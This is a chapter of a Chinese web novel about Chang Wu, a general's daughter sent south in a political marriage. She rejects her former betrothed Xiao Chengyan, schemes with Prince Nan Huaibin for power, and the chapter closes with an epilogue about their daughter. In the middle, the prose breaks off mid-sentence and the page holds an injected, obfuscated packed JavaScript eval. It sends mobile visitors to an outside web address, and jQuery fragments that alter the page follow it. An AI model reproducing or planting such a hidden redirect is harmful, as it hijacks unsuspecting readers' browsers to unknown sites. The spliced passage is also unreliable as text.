常芜梦到与萧承言结成连理,可过得并不顺遂。看到瑞王并不信自己的模样。不禁喊着:“承言,不要,不要打。啊......”惊醒,看到的却是南怀斌在床边。


    “做噩梦了?”南怀斌问。


    “你怎么在这?”常芜问出口后,愣住。


    却是南怀斌也因为这句愣住,方要说话,常芜又改口道:“你一直在这?”


    南怀斌点头。“是。下头报了你梦魇唤不醒,我便来了。”


    常芜默然,坐起身来,看着近在眼前的南怀斌。只是自己抱紧了被子,缩在被内。


    南怀斌起身去边上投了个手帕,拿回来递给常芜。


    常芜伸手接过轻声道谢。把手帕自己展平,整个盖在脸上,并不想面对南怀斌。


    南怀斌轻轻一笑。“都说巴掌大的脸,如今真是见到了。”


    常芜无言。默默借着湿漉漉的手帕,拭掉泪水。


    “噩梦。讲出来就不害怕了。你梦到什么了?我愿意倾听。”南怀斌继续道。


    “我不记得了。”常芜推说着。


    南怀斌不在说话,只深深一叹。


    “我......可喊出什么了吗?”常芜拿下帕子,问。


    “没有。”南怀斌再次否认。其实他听到了很多。自然而然的接过常芜手中帕子在手。


    常芜从里侧滑下。侧躺在榻上。


    南怀斌把手帕放在边上,伸出手,把被子向上拉了拉。


    常芜一下紧张了起来。


    南怀斌却站起身,重新坐在椅边。


    常芜闭上眼睛,转过了身子,后背朝着南怀斌。


    南怀斌瞧着常芜这般也转头去看那桌上一跳一跳的微弱烛火。


    常芜想起,梦中有个人,曾也在梦魇时温柔的对过自己。好一会后,常芜哽咽着,落下两滴泪。极其沙哑的嗓音说:“梦......会有预知未来的时候吗?”说出口后自己都觉得荒唐,怎可能。自己已经远离国土,到了南国之地,作为和亲郡主,再过几日便要嫁于眼前之人了。


    “怎么这么问呢?”南怀斌重转头看向常芜的背。“或许吧。”南怀斌说,扯动嘴角。“若是有,我想必也曾梦过。”


    “梦过什么?”常芜已经缓了过来,反而有些好奇。


    “梦过......不能说,美梦说出来便不准了。”南怀斌轻笑着道。


    常芜微微动了动嘴角,转过身来看向南怀斌。


    南怀斌瞧着她哭过的双眼,深深一叹后道:“实在抱歉芜儿。我不知你与......瑞王有情,我们,本只是想选个人和亲的,你还是南境常将军之女,相比旁的郡主,你......”


    “我确是合适人选。无论与谁有情,曾和谁曾订过亲。总还未嫁呢。不赖你的。怀斌。”常芜眼帘微低,平静的道。


    “你,你再唤我一声......”南怀斌似有些激动。


    常芜却并未再唤。


    但南怀斌仍是有些激动。


    南怀斌带着常芜出了宫城,知道她曾驰骋于马背之上,带她到近山去狩猎。


    常芜肆意的笑着,忽而便不笑了。南怀斌并不明白,却只纵着常芜朝深处去。直到,身边的人被远处箭羽射杀,南怀斌还以为是遇刺,急忙驾马挡在常芜身前。直到远处人影显现,才知,根本不会有箭羽射向常芜。


    是常衡和萧承言带着几人,已深入南国腹地。南怀斌瞧着身后的常芜,原来他们这般,是来夺回常芜的。


    常芜迟愣着,想都未想便翻下马去冲过去投入常衡怀中,一丝未有滞待。常衡似早有察觉,也一早翻下马来,正待常芜投入。


    萧承言的箭羽却是瞄准了南怀斌。


    常芜发现后急忙出声制止。“不要。承言。不要......”


    萧承言闻言将箭缓缓压低,却是又即刻再行抬起,瞄准射出。


    但常芜已反手吹响口哨,令自己的马朝自己而来,这般正碰上南怀斌的马,致使其座下马躲避追风,而正让萧承言射出的箭羽擦着南怀斌肩膀而过。南怀斌也跌下马来。


    常芜急忙挣脱常衡身侧,挡在南怀斌身前。稍转回头,触上南怀斌的目光。两相温柔。却是南怀斌的目光,没有要被杀的紧迫感,十分淡然。朝着常芜一笑,伸手按在常芜肩头。


    “南怀斌......你躲在她身后算什么?”萧承言紧皱眉头,将弓挂于一侧,甚想抽出了悬于马身上的宝剑。


    “瑞王。那这是作何呢?”南怀斌闻言也只淡淡的回了一句。作势真要推开常芜。


    常芜看着萧承言道:“那你们来此作何?杀他?还是带我走?”


    “都是。”萧承言回的语气明显温柔了些。


    但常芜回应的只有轻蔑的笑。


    两人这般对视着。


    旁人也未打扰。


    萧承言从之前怒恶变为愁苦改为难楚。柔声道:“芜儿,我和伯谦来接你回家的。同我回去吧,好吗?我......”


    “你反悔了?”常芜问。


    “是。我反悔了。”萧承言回的干脆。


    “那当初,为何你们都狠心舍弃我?而且......我们说过的,早已情断了。”常芜回道。


    “不。”萧承言微微摇头,纵着马到常芜身前。


    “天下皆知我是为了和亲送来的牺牲品。你们选了我,没人问过我的意见......我和从前那些,将战败或已战败,为求和而向上进贡的那些美女有何不同?”


    “妹妹......”常衡也轻唤一声,却未说出旁的。


    常芜看向萧承言道:“特别是你,你说你护我、爱我的,说要娶我为妻的,萧承言。但你是最先舍弃我的。在我刚册封为郡主时,你那般殷勤,我一度都在想,是不是上面那时候就想好要和亲平定战乱,而我就是那个牺牲品,而你接近我,也不过是......为了让我念想你,给你效命。”


    “不。芜儿,我真的爱慕你,在宫里时,我就一见钟情了。”萧承言面露难掩的哭容,却未有泪落。


    “哥哥、爹爹都做不得主,我不怪他们,他们只要保一域安定,就是在保我、保国了。但哥哥,你也不该来陪他胡闹。”看了常衡一眼后重新看向萧承言道,“当你知我是备选时你争了吗?你只是同我说‘抱歉,不能娶你了。’”


    “我争了,我真的争了。”萧承言正翻下马来欲抓过常芜的手。


    常芜却是躲开,退后一步,似忘了身后还有南怀斌般,正撞入他怀中。急忙错开些距离。南怀斌却也后退出一步之远。常芜才默然的道:“但是你没有同眼下这般争,否则不会是今日这般局面。你若当时能豁出性命留我,我不信是这般。那么多次,下旨时候?送嫁时候?我出最后一个城池时?我踏出国土那刻,你都没有作为,我如今到这了,你来了。可我们都知道,我就算能回去,那便是祸国殃民的妖女。我不能活,还会牵连很多人,而且还会再开战,会更有由头开战。那死伤者不计其数。这是为哪般呢?承言,你已选了权,既然当初选了,就不该儿女情长了。你以权弃了我,怎么?后悔了呢?是不是当有了权之后觉得那并非你所要?可也是有了之后的大言不惭。没有的时候不是那般毫不犹豫把我推出去吗?”


    常芜的话越来越不克制,直压得萧承言喘不过气。


    “我将嫁于他。若是他死了,我也不过是嫁给旁人的命。或者,你连我一道杀了吧。我再不想被推来推去了。再不愿受那样的屈辱。”常芜说完退后半步却被萧承言拉住双手。


    “不会。我这次想定了,我会护着你,挡在你身前的。真的会。我们曾情定三生的。”萧承言恳切的很。


    “哼,情定三生?我们一世都没有了。”常芜说着面上尽是苦笑。


    萧承言明显不甘,仍在争取打动常芜回心转意。“我们曾签过婚书的。”


    “她从头至尾,都是自由身。”南怀斌生怕萧承言说出什么,忽而接口道。


    “你同他说的?”萧承言看着常芜。


    常芜并未回答。


    “天下人皆知。”南怀斌并未说的太明白。并未说弃妇什么的叫常芜难堪。


    “那你难道真要跟他吗?他们南国是什么样子,你真的清楚?”萧承言转了方向,似想从南国乱局入手。


    “我......不知。”常芜说着,低下了头。


    “他们南国可是有打嫁的习俗,进门当晚便要挨打。你那么怕疼的......是不是?”萧承言伸出手去,颤巍巍的触上常芜的手。只略略用着力,生怕拉痛常芜。也怕惊醒常芜,让她糊糊涂涂的随自己回去便也再不会反悔了。


    常芜咬了咬牙,什么都未说。脚步方要挪动,却终未挪动。


    “有习俗。但却不会那般对芜儿。我不会,也不会让旁人那般对她。”南怀斌再次开口。


    “芜儿?哼。”萧承言呢喃了一句,接着嗤笑一下。“是吗?因为她做不了正室?便不用受那苦吗?还是因为她是外人?便不用受?那旁的呢?是不是也排外呀?”


    南怀斌呼出口气,觉得嘴中瑟瑟的。“我会护着芜儿,不必受那个苦。她会是正室,但我房里,却有个自幼服侍的紫嫣,紫嫣没有错处,我不能......休弃了她。”


    常芜并没有言语,根本不在意南怀斌房中有何人,有几个人。


    “你信吗?常芜。是不是听了几日爱慕之言,脑仁都昏了头了?现在同我回去吧,我不在意你在南国的这段时日的,无论发生过何都无妨。真的。这几日我便当从未发生。我们只差洞房了,你便是我的人了。芜儿......你......可是应过做我的女人的。芜儿......我们曾在那片草地上缠绵过得......”


    常芜一下抬起头,看着萧承言道:“可你是不是忘了,那是我们自己签的,私下签的。无旁人作证,不过废纸一张。且,我已经被休弃了。”


    萧承言咂咂舌。“休书呢?毁了就是了。”


    常芜眼神淡然。“不见了。”


    “不见了更是无妨......婚书我还留着呢,和我回京城、回皇城。我娶你,我风光的迎娶你入门!”萧承言说着走近一步。


    “在我这。”南怀斌突然说道。从怀中拿出被毁损了大半的休书。却是没有要给萧承言的意思。反而攥在手心,握的紧紧的团在一起,扔向远处。“废纸一张。芜儿断不是这般,她的好众人皆见,却能让这纸肆意贬低至此。”


    萧承言方才一扫,那该是那休书。可怎也不该在南怀斌这。“怪不得你刚才说,芜儿是自由人。怎在你那?”看向常芜虽是语气轻柔,却道,“这修书,都能摊开在他眼前了?那你们是不是已经尝过禁果了?”


    常芜抬眸对上萧承言的眸子。


    “别胡说八道。芜儿冰清玉洁的。”南怀斌反是略有些激动。


    “冰清玉洁?”萧承言呢喃了一遍,想的尽是,是呀,两人情到深处,常芜都未愿意,怎可能来此几日就失了分寸。自己方才在说何。


    可听在常芜耳中便是萧承言那般不信她的感伤。眼中开始变红。


    “芜儿断没有瑞王说的那般不堪。芜儿很好。本王从头至尾,看得见芜儿的好。”南怀斌看向常芜的侧颜。“她小时候那般天真浪漫,入京不过一年,就让你们消磨成这般,你们那京城,也不大好,人也不大好呀。”


    常芜虽是听着不大对,却没有说话。怕忍不住哭出声来。不想萧承言最后只记得这般的自己。


    “小时候?哼。常家果真是饥不择食。只要是皇子,便那般布局吗?”萧承言却忽而松开了常芜的手。


    “布局?”“什么布局?”常芜、常衡几乎同时重复了一遍。


    还未等萧承言说话,南怀斌却是说道:“瑞王怕是想多了吧?我同芜儿,同在这边界之地,无土之隔,遥相而望,可谓隔空青梅绕竹马。”


    常芜转头看看南怀斌忽而生些笑意,若这能算,那岂不是天下诸人皆是这般。


    萧承言咬牙暗狠自己落了南怀斌话语中的圈套。


    “承言,你一点不懂我。我从不曾贪图你什么。若说......求非己之,是为贪,我曾经最贪图的,便是你的爱。如今想来,多么荒诞。”常芜无力的说着,再次退后。


    萧承言摇了摇头,伸手抓住了常芜的手腕一用力。直把常芜拉着朝着他的方向走了一步。


    南怀斌却是也同时拉着常芜的左手。只是虚浮的拉着,大拇指正好攥着常芜的手心。而手只是附在常芜的手背上。说道:“你的命,由你选择。芜儿。你若说......你不愿,我......就放手。你自此随他们走,我定尽我所能,不动干戈。”


    萧承言看向南怀斌。却看他的眸子瞧着常芜。手上更是用着力气。直抓的常芜都觉得手腕发麻,不过了血液。“过来!芜儿。”


    常芜看看萧承言,又看了看南怀斌。目光向下看着低垂在身侧的左手,被南怀斌轻轻覆盖着,似乎只要稍稍用力,便能抓住南怀斌的手指。可眼下常芜的手,只是松松垮垮的垂着。而右手手腕此刻被萧承言抓在空中所举,深感酥麻疼痛。一时沉默不语。


    萧承言瞧见眼神涣散。手上更是用力。常芜的手腕已经红了。手也因为不过血,而略有些红紫。


    南怀斌瞧见,一下把左手伸出,握住萧承言仍在用力手上,说道:“松手,你这般会抓痛她的。”


    萧承言一下右手抽出身旁挂在马侧的佩剑,架在南怀斌脖子上。


    南怀斌的腰间也挂有佩剑,却并未拔出。


    常芜瞧着,南怀斌若要拔剑必要先行松开自己的手。常芜替南怀斌松了手,却并非简单甩开,而是用那左手挡在萧承言剑锋上。


    萧承言瞧着,手上渐渐松了劲道。怕忽而失力会伤了常芜的手。微微收剑,左手却未敢松开常芜手腕。口中呢喃了一句“芜儿......”合上的薄唇轻颤,心也开始发虚。他现下不怕开战了,他眼下只怕常芜口中说出,愿意同南怀斌去。他觉得他定会疯掉的。只要常芜此刻同他回去,他一定把常芜关锁在瑞王府中,这辈子关在自己身侧,再不能回来这边境,再无可能见到这贼子南怀斌。让常芜牢牢的在自己身边。那些流言蜚语算什么?沦陷在南国几日算什么?国破城毁也不是常芜的错失。自己可以再娶常芜,再娶常芜一次,十次,百次。婚书可以再定。曾以为以一女子平息战火是那般核算,从前多少年也没有常芜,也生活的好好的。可当常芜走的日子才知书中所言,度日如年原是真的。哪怕稍微闲暇下一点,便感觉到呼吸都是那般的疼。在常芜实实在在来到身侧,险些拥有,到再次消失在身侧的日子,忽而变得那么难挨......心口无论日夜,只那般隐隐的疼。


    常芜,求求你,不要说,只要同我回去吧......这话,萧承言此刻在心中一遍遍祈祷。却是说不出口。脸也渐渐憋得通红。


    南怀斌看着常芜,看到了常芜的动摇。毕竟不是一国之人。可他并未说那些因和亲不会开战的言论。那样常芜便会成为筹码,会显得他没有那般诚意。并没有催促常芜做决定,也没有说话。只是温柔的目光,落在常芜的眼眸中。他知道,她能感觉到。只如方才般,伸出手去虚无的搭在常芜的左手上。


    常芜瞧着南怀斌,他的手冰凉。转头看向萧承言脸上。其实早已做了选择,不。早已没得选择。深知利害关系,只是奢望的想多瞧瞧萧承言罢了。只是贪图这控着自己手腕的手能真的天长地久的再不松手。可......终究都是奢望而。


    稍微一动左手,余光便能见南怀斌的脸上,满是失落。


    南怀斌已洞悉常芜的心之所向,闭上眼去缓缓心神便想放手。但却忽而感觉到自己的拇指忽而被攥紧在手心,一下睁开了眼睛,再次满是希望。


    常芜真的看到了南怀斌因自己稍一动的那般情感变化,骤然想起梦魇时,南怀斌陪在自己身边,却什么都未做。那感觉,同梦中那虚无难瞧之人的感觉,一般。好奢望的梦呀。南怀斌你真的能做到你说的吗?真的爱吗?爱我吗?我孤身沦落他国,还能奢望爱吗?


    呼出口气,下了极大的决心。不能再拖下去了。这般出来游玩,天色渐晚迟迟不归,早晚有人会来寻的。正视萧承言道:“承言,谢谢你。谢谢你来此,告知我,你真的曾爱过我。但是......”


    萧承言急忙摇头,不想常芜说出口。“不不。芜儿,不要。求求你,别......我错了。我当初不该。芜儿。”


    常衡走过来按住萧承言的双肩。


    常芜也就势挣脱道:“有国才有家。不该为小我而置全国遭难的。承言,是你同我讲的。那我也告诉你,为君者,便不该被人窥探情感。若我这般同你回去,你必受我掣肘,我会成为你明面上的软肋,我不想成为箭靶。没有我,你定能成为一个好的王。真的承言,走下去。那才是你原本所求。我们都知道的。日后,你成功了,让两国再无战事,百姓安康,才是真的让我们的所有牺牲,都变得值得。”


    “不。不,芜儿。”萧承言仍是舍不得放手。眸中彻底续满了泪。常芜说的不是不知,就是因为知,所以曾狠心的将常芜送出。但其后却是那般痛。


    “走吧。我们都要继续走我们的道了。哥哥......”常芜看向常衡,并未说下去。


    常衡却轻轻摇头。


    常芜点头,说:“可以的,我最相信你。日后南境都靠你保护了。我们都在尽力,尽力守护我们所珍视的土地......”


    常衡闻言忽而发力,拽走萧承言。


    “不。常芜!”萧承言最后仍拼命喊着。引得常芜也落下了泪,划过面上,落在眼前的的土地之上。无声无息。


    瞧着他们骑马走远,常芜忽而转身,与南怀斌面对面而立。忽而道:“抱歉。”


    几人纵马离开的方向忽而射出一箭,穿过常芜侧肩,浅浅的也射进南怀斌肩上。


    南怀斌才明白这句抱歉的含义,原来她方才同常衡在说这个,但她未说出口,但常衡却是那般懂得。原来这才是所谓的兄妹之情、无须言语。并未气,只感受着忽而温香软玉被那冲力打进怀中。回手轻揽,两人一道倒着地上。


    未免常芜尴尬,南怀斌率先推开常芜。也是至此拔除插入肩头的箭头。常苒拉过自己头上一丝发带熟练的给南怀斌肩头绑上,那血却隐隐的渗出。


    常芜肩头被贯穿更是伤得重。南怀斌想给她包扎,常芜却是摇头。“帮我折断就好,先留着。抱歉,利用了你。”


    “我心甘......情愿。”南怀斌说着扯出一丝微笑。“你能选择留下,就好。更莫说这般。”


    折断箭羽,扶着常芜站起身来,欲上马返回时,常芜忽而拉住南怀斌道:“你为何说我从前天真浪漫呀。我们从前又不认识。”


    “如何不认识?你头一次上战场时,那般跳脱,我跟在晋王叔身侧,明明是去学战术的,却被你吸引。你一身红衣,一箭射断我方战旗。高兴地跳脚。后来我去东国当了质子,归来时遭遇了埋伏,险些送命,误闯了你国之地,是你山中救了我。给我治伤。”


    “可你还是被爹爹发现了,送入京中当了质子。”常芜故作叹息,本就是想提起曾救过之恩的,因根本不知初次战场上有南怀斌。而救他,不过是一环罢了,一出戏。是她偶然救,也是再救活后,刻意和爹爹提起,让爹爹去当恶人,去立功受赏。


    “但我再为质时,并非在东国那般难捱。我重新见了你。瞧你在宫与瑞王那般嬉笑玩闹。我能瞧出你们互生情谊。我,羡慕、嫉妒。动用所有手段送信,挑起战乱,我回国后,提出和亲之法休止战事。还点名要南境驻守常将军之女。我不知原来常将军膝下还有女,但......我只一门心思的设计你。以利相搏,以权想诱,加之你的身份,若是成婚便失去机会。其他兄弟便不愿,但我愿,我愿娶你。我特买通了合姻官,说我们八字星象皆相和,正能化解你之戾气。我宁可不要那皇位,我想娶你为妻。”


    “你为什么不要皇位呀?你夺走了本该属于我的后位,难道不该还我吗?”常芜道,却是试探为多。


    “你......你喜欢权......的吗?”南怀斌忽而语调发颤,满是质疑。


    “权,为何不喜?且你为何认“命”?什么所谓天命,我才不信。凭什么都是嫡子,你就要出去为质?去历尽险阻,就凭是嫡次子吗?是二皇子吗?甘心吗?南怀斌。他们,都是晋王的人,晋王真是为保护你,让二十八星宿跟着你的吗?晋王觉得你无能。但别妄想,我会觉得你无能。你能腐蚀了东国。里应外合覆灭曾富饶固若金汤的东国,你是凡夫之辈?如今,我们将要一道,那为何你不带我一道杀出去?愿意为我搏一搏吗?大不了,我们一同死。我都舍国了,我要这世上最好的!”


    南怀斌略略被常芜逼得退后半步,忽而笑道:“我这是选了什么?我怎觉得,你比晋王叔,还可怕?”


    “娶妻娶贤,妻子就是要辅佐夫婿上进的。你若想让我以姿色度日,我也能。只是......”常芜眼眸锐利的扫视躺于地上一圈之人。“要看殿下想不想一搏。眼下晋王手下尽无。不正是好时机吗?”


    “现下我徒有皇子之身,诸般不占,可畏一无所有。我们如何从无到有。况我们此番皆困于天象所言。”南怀斌板正了面孔。仿佛稍有些置气般道。


    “天象?我连天命都不信,你同我讲天象?您信?”常芜问。


    “是。我信。不止我,我们南国,都信。”南怀斌回道。


    常芜忽而紧抿唇来一时未说话,只瞧着南怀斌。两人与之对视良久。


    “我常芜在此无依,仅凭借您为托。若说贪慕、欲望,皆是有则有矣。无势、无权、无力、无能,如何贪,怎敢谈?非需有那么个阶梯,一阶阶而上。”


    “这般说来,我就是那个阶梯?那你岂非要踩着我往上去?”南怀斌却非不再提的模样,骤然将常芜拉至身前。眼眸一闪而过的狠辣一闪却被遮掩。眼神微眯,抬起左手手背轻柔抚摸,自常芜眼侧划下至脸庞。


    常芜却也就势微启唇来,抬手轻抚过额前发,眼眸流转轻咬唇去。


    南怀斌忽而收手,却学着从前在萧宫所见萧承言帮常芜整理额角鬓发的模样。“当初我瞧芜儿这般貌美,还以为是妲己呢。可怎瞧也不大像。”


    “谁亦不知妲己容貌,不过凭人自想。貌虽不敌,却也能学、能为,能如妲己般向上邀宠,为所不能。可我也要有过可亡可祸呀。”常芜眸光锐利直射南怀斌眼中。


    南怀斌目光从常芜面上转而四扫四处。忽而伸出手至身前。“芜儿,上马吧。我扶你。”屈半膝似乎想让常芜踩上而上。“方才被他们一搅,兴致尽无,本想带芜儿出来相较的。毕竟相传叔隗便是骑马射箭、驱鹰纵犬无所不能的。”


    常芜并未踩在南怀斌膝上便自行翻身上马。闻言不免低头瞧着自己眼下仍在流血的左肩。“瞧着殿下就算无国,也还是喜欢妲己多些。那妾还是做妲己吧,可做不了叔隗。毕竟您现下是姬带而非姬郑。又怎让我去引得姬郑?可您若是姬郑,那余弟还小。哦,妾明白了。”常芜故作神秘,纵马转头,而后才道,“您之前提过妾家中还有妹,您总不会是想效仿娥皇女英?毕竟叔隗亦有二。可娥皇女英亦需配,元首。”


    “常家女儿读史不少呀。”


    “皆是无用闲书罢了。女子闺学,读女不读男。既是怀斌拒绝至此,那就当芜儿方才多话了吧,自此再不提。驾。”


    ......


    新婚之夜,南怀斌确是全力相护,各种理由无人敢碰常芜一下。避开众人,常芜自褪下披于肩头的羽氅。伸出右手按上左肩,略略压低,略略侧过身去,让此刻站在床塌前的南怀斌瞧。那肩头后纹有姚黄与魏紫。


    “妾肩头这伤虽好了,可疤痕未可除去,便寻人纹上了这千叶黄花牡丹与肉粉牡丹,双丹连枝。望不落俗。”


    “姚黄魏紫开次第,不觉成恨俱零凋。我瞧娘子还是感慨往昔的吧?”南怀斌收敛笑意,微微一叹。


    常芜站起身来,走向南怀斌。“妾这般貌与身子,可堪比郎君心中的妲己?”


    “世上貌美者多,何自比妲己?”南怀斌走到常芜身边,到床榻边拿过羽氅回身披在常芜肩头。“冷,莫要冻到。”


    两人对视一时相顾无言,常芜渐眉眼生腾起笑意。转身拿过琴来弹奏。


    “夫人嫁我已是屈了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15335867|150943||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。我这也没什么可送的,在东国时倒是得了一柄弯刀。”南怀斌话毕从腰间拿出弯刀递出。


    常芜抬眸一瞧,确是精美,深知贵重。与南怀斌道:“我们都知来时路多般不易。如此珍贵,您若想赠,便留个好时候吧。”


    “今日不算好时候?今日本王可是小登科呢。”南怀斌说完刻意去观察常芜神情。


    常芜并未不悦。只道:“确实。可却有更值得的时候。比如,妾身生辰。”


    南怀斌显然不明。“娘子生辰先不论年年皆有,却是那时我擅改了娘子生辰八字,史官所记,怕是旁人皆不知有错,那正日子上恐只能悄过而。”


    常芜却道:“天亮时见日,天黑时才能见星。殿下既能改得了我之生辰,那到时寻个契机,推翻了便是。”抬眸去瞧南怀斌,补充道,“春秋笔法是以。”


    “春秋吗?是因娘子秋日生辰,而我改为春日?”南怀斌问。


    常芜微微摇头,拨弄琴弦几来。“忘记问了,您改成何日了?不过都不打紧。左右今年间妾这生辰已过了。待明年我定个时日,您备着。若是比您那个时候早了,便言备礼时让我撞破了便罢了。若是晚于您那时,更好。待寻个空给妾讲讲您这的天象之论吧。”


    “你感兴趣?”南怀斌挑起眉头问。


    “不感兴趣。但下棋人总要知道规矩。才能知道如何打破规矩。不破不立。借局破局之后便是萃局。唯有彻底砸了台子,才能不让人再效仿之。”常芜说着更甚演奏起平沙落雁之曲。


    “虽然不大听得懂夫人之意,但是,夫人说着似乎很有把握的模样。”南怀斌道。


    “并非夫君不知,而是从小习得不同,罢了。妾身并无把握,只是不论可不可为,至少需全力以赴。如今我们结发同盟,日后我们引绳批根。我常芜并无外戚可依,愿学邓绥。”


    “哦?这般说,夫人也不想做妲己了?”南怀斌瞧着常芜,渐渐回退至身后寻椅而坐。眼眸四转,却是无端变化只转流常芜面上。


    “怀斌不觉无论妲己还是施喜,皆与此刻妾一般。皆是投美人入怀?虽是开头一般,结尾我却不想那般收场。”


    “何故引得夫人如此叹?于皇后身毙,有何不好?”南怀斌道。


    常芜笑意了然。“妾身深觉,无论妲己还是施喜,都不过是周国起兵灭商之道,先莫说帝辛荒淫无道是否夸大,单是女子可亡国焉?父权社会,女子不过依附而。既是为着自保也是被权势裹挟度日。酒食肉林大兴土木皆是女子所享?贪污的背后皆是为上所筑?层层级级到底便宜了谁?”一曲渐终。音曲几转,奏起另一首气势磅礴之曲。“至于史书典籍所记,成王败寇而。若说我是亡国妖妃,那只能说我们是败了,亡国矣。既然皇权之家注定要你争我夺,你生我死,斑斑血迹为何我们要是那血洒之人?”才骤然问,“您信禅让吗?”


    “什么?”南怀斌面露疑惑。


    “承袭之前,皆为禅让。”常芜此刻所弹,正是传失了多年的封禅之曲,但这头似乎并不信此般。原想着若是同萧承言在一处,便将此给他。让他更加承天授之。可惜了......他不堪。


    “看来我上次问的,夫人这短短几日,已经都想出法子了?”南怀斌站起身来走向常芜。


    常芜思绪回转,看向南怀斌。瞧着他的眼神已改。果然他野心也颇大。扯动嘴角,含笑唇间。“圣人尚要寻个名头呢。那我们更需要了。毕竟,谁初为王时无有宏图大志?难道是哪人励志初为时便要做那荒淫之主?往生贪图美色?那若旁人已座上了再拽下谈何容易。非需从根上生变。我如今还差那么一点点,没盘算齐全。”


    “那我现下就补上夫人这一点。”南怀斌却去窗前吹灭两盏火烛。


    【番外】:


    萧承言抱着一身穿粉色夹竹桃宫装衣裳的小女孩在城墙上眺望远方。


    “叔父陛下。那远处就是阿紫的家吗?”小女孩问。


    “是呀。这个尽头,就是南国。”萧承言的目光也看着那里。“阿紫若是以后想家了,便来告诉叔父,叔父抱着阿紫来城墙上瞧瞧,可不能自己偷偷爬上来,这里高,会有危险的。”萧承言话语中皆是宠溺。


    怀中的小女孩却是突然蠕动身体,指着下头喊道:“七哥哥来了,哥哥带着小兔子来了。”


    萧承言向下看去,才瞧见萧正来了。蹲下身子松开怀中阿紫,让她朝着下头跑去迎着,身后宫人跟随。沐菊更是在后追着。


    萧承言瞧着两个娃娃手牵手走远。一同逗着怀中的小兔子。不禁感伤,看着远方出神......一有时间,便会再次瞧着远方,仿佛能看到、感受到常芜。


    三年前,南怀斌称帝,奉常芜为后。异姓为后曾令国内动荡。但南怀斌却并未心生动荡。引发多地举反,却也无改。


    萧承言早已继位多年,瞧着南国动乱,随时倾覆,甚知常芜忧心,便提出加深联姻,互换皇子。其实想官方的护住常芜的孩子,哪怕只是一子,也算留有一丝血脉。但常芜似乎深知能平复南国,想的更加深远。虽是应了,却并未送来皇子。


    一直隐隐绰绰的直到快至京城时,萧承言也不知来的是哪个皇子。回报的只道:“那皇子年岁太小,又贪个新鲜。今儿骑马、明儿坐车、后做轿子的,恨不得经山历水的都去瞧个景......”


    当才走到宫门口时,这边派去的萧悯哲早到了那南国宫宇中,甚至回信都寄来了。


    而当这女娃娃显露真容时,萧承言顿觉被戏耍似得。明明有儿子,却送了女儿。


    可那女娃娃天真浪漫,一双大眼睛滴溜溜的瞧着四周。略略请安之后不待萧承言说话,直接跑上大殿跑到他跟前道:“叔父陛下。你不喜欢紫儿吗?怎的眉头皱得这般紧呢?”


    “你是哪个?”萧承言问。


    “南魏紫。是我爹娘的女儿。”小女孩答。


    刚要送文书问罪,却看她似乎毫不认生,同宫中的一众孩子们都玩的甚好,那般笑的开怀,忽而让他想起从前入梦的女娃娃。不禁觉得这个娃娃更像。比如今皇后的嫡出公主那眉眼像的多。常衡某次进宫瞧见,也提起那南魏紫偶一可窥的眉眼,像极了幼时的常芜。扛着南魏紫在肩头放着风筝,可常衡早已成年,似时光流转,同幼时的小妹再次纵玩了一般似得。骑马出宫于无人处也偷偷撒过两滴泪。


    可水土不服的南魏紫终还是病了。


    萧承言偶来探望,瞧着宫人进出侍候,瞧着那女娃娃难受这般模样。不禁他心下也不舒服。在远处坐下身来揉着额头时,南魏紫忽而醒了,悄然走下床来,过来伸出手给萧承言擦脸。其实萧承言只是红了眼眶,那泪并未落下。


    “叔父陛下。”


    “你醒了?可难受得紧?”萧承言抬头看向南魏紫。


    “还成。时辰晚了,阿紫失约了,与七哥说好要去看小白兔的。”南魏紫低下头去,满脸尽是失落。


    萧承言闻言更是深吸一口气。“先安寝。明日再去吧。七哥,不会怪你的。真的,我......作保。”萧承言忽而哽咽。


    “您怎么哭了呀?”南魏紫忽而慌乱,急忙跑回床榻上躺下,扯过被子盖上。紧闭上双眼。“阿紫睡觉,叔父陛下不要生气,阿紫很乖的。”


    萧承言略略平复,回道:“叔父没生气。”


    南魏紫睁开大眼睛,忽而一笑。坐起身来看着远处的萧承言道:“阿紫也觉得叔父陛下没有爹爹说的那般凶。”


    萧承言觉得胸口闷了一口气。


    “而且娘说了,叔父会很喜欢很喜欢阿紫的。说叔父提过,就要要个女孩的。”


    萧承言眉头微蹙,紧咬下唇,生生忍住泪,问:“你为什么叫南魏紫呀?”


    “因为爹爹和娘亲商定,孩子叫南儿。大哥哥出生便占了。而阿紫是第二胎,且又是双生子,与哥哥难分谁先谁后。哥哥就占了东儿,娘亲说紫气东来。与哥哥同分东位便叫阿紫。娘亲是这般说的,但是爹爹说,娘亲肩头纹有一株并蒂的姚黄、魏紫,甚美,所以哥哥名唤姚黄。而我正好魏紫。”


    萧承言扯动嘴角,淡淡一笑。“子女缘单薄。却是能生出双子。”


    “您说缘批吗?那是爹爹买通了合姻官。我们南国最信这个了。自小便学,无人不会。所以爹爹当时不敢让人给娘亲卜算,只得伪造了娘的生辰八字与命格。让谁瞧都只能见娘亲为北斗第四、七中间星,暗淡不可见的煞孤星。致娘生辰空置未有人贺,后旁人道贺时又不明缘由,众人才知当初和亲庚帖上她的生辰八字皆有误,难怪占星不准。这才让合姻官重新卜算了的。娘不信合姻官,要站在启星台上自请,举国都惊了。”


    “哦?怎么个故事?”萧承言问。


    “七星台在宫门之外,高台之上,平头百姓都能见。这般自请的都愿意去瞧个热闹,毕竟人人皆会。但当时本不是个好的天象,乌云遮月。却是娘站在上头风云骤起,吹散乌云。白昼而分。大家皆见本星全然暗淡,却天府星骤然大亮,连带天空逐星闪烁,致使多星移位,形成百官朝拱之像,实乃佐紫微星斗之天命人。娘当时不知,还问众人如何?众人只顾着跪拜,哪有可答。只爹笑而不语,只说是他们天定一对而。其后爹爹就被封了太子位。爹爹早知,特意瞒的,怕大家都争,爹爹便争不过了。


    萧承言叹道:“这你都知道?人小鬼大。小机灵鬼。”


